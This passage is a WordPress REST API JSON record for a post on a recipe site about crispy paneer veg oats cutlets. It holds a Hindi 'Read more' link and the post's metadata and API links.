href=\"https:\/\/simplereceipes.in\/en\/11-%e0%a4%9c%e0%a4%ac%e0%a4%b0%e0%a4%a6%e0%a4%b8%e0%a5%8d%e0%a4%a4-%e0%a4%b8%e0%a5%8d%e0%a4%9f%e0%a5%87%e0%a4%aa%e0%a5%8d%e0%a4%b8-%e0%a4%ae%e0%a5%87%e0%a4%82-%e0%a4%ac%e0%a4%a8%e0%a4%be%e0%a4%8f\/\" aria-label=\"Read more about 11 \u091c\u092c\u0930\u0926\u0938\u094d\u0924 \u0938\u094d\u091f\u0947\u092a\u094d\u0938 \u092e\u0947\u0902 \u092c\u0928\u093e\u090f\u0902 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940 \u2013 \u0939\u0947\u0932\u094d\u0926\u0940, \u091f\u0947\u0938\u094d\u091f\u0940 \u0914\u0930 \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0940 \u0938\u0941\u092a\u0930\u092b\u0947\u0935\u0930\u0947\u091f\">Read more<\/a><\/p>","protected":false},"author":1,"featured_media":753,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-752","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-receipes"],"_links":{"self":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/752","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/comments?post=752"}],"version-history":[{"count":5,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/752\/revisions"}],"predecessor-version":[{"id":946,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/752\/revisions\/946"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/media\/753"}],"wp:attachment":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/media?parent=752"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/categories?post=752"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/tags?post=752"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}